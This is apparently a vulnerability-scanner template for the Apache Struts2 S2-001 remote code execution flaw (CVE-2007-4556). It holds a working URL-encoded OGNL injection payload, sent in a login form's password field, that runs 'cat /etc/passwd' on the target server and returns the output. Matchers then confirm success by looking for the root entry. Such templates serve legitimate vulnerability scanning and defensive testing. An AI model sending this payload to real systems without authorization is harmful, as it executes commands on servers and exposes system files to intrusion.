id: CVE-2007-4556 info: name: Apache Struts2 S2-001 RCE author: pikpikcu severity: critical reference: https://www.guildhab.top/?p=2326 tags: cve,cve2007,apache,rce,struts requests: - method: POST path: - "{{BaseURL}}/login.action" headers: Content-Type: application/x-www-form-urlencoded body: | username=test&password=%25%7B%23a%3D%28new+java.lang.ProcessBuilder%28new+java.lang.String%5B%5D%7B%22cat%22%2C%22%2Fetc%2Fpasswd%22%7D%29%29.redirectErrorStream%28true%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew+java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew+java.io.BufferedReader%28%23c%29%2C%23e%3Dnew+char%5B50000%5D%2C%23d.read%28%23e%29%2C%23f%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29%2C%23f.getWriter%28%29.println%28new+java.lang.String%28%23e%29%29%2C%23f.getWriter%28%29.flush%28%29%2C%23f.getWriter%28%29.close%28%29%7D matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" part: body - type: status status: - 200